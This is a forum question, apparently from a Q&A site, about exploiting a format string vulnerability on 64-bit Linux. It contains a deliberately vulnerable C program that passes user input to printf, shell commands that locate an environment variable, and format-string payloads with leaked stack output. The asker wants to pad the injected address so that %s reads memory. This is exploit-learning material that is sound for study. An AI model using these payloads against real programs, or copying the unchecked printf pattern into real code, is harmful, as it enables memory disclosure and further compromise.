I'm trying to read a value from the environment by using the format string vulnerability. This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 bits Linux, and my desktop's running a 64 bit Linux.
This is the code I'm using to run my tests on:
//fmt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[]) {
char string[1024];
if (argc < 2)
return 0;
strcpy( string, argv[1] );
printf( "vulnerable string: %s\n", string );
printf( string );
printf( "\n" );
}
After compiling that I put my test variable and get its address. Then I pass it to the program as a parameter and I add a bunch of format in order to read from them:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
cb ef ff ff ff 7f
313 357 377 377 377 177
$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.
$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
cb ef ff ff ff 7f 25 31 30 24 31 36 6c 78
313 357 377 377 377 177 % 1 0 $ 1 6 l x
$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb
The 10th value contains the address I want to read from, however it's not padded with 0s but with the value 3125 instead.
Is there a way to properly pad that value so I can read the environment variable with something like the '%s' format?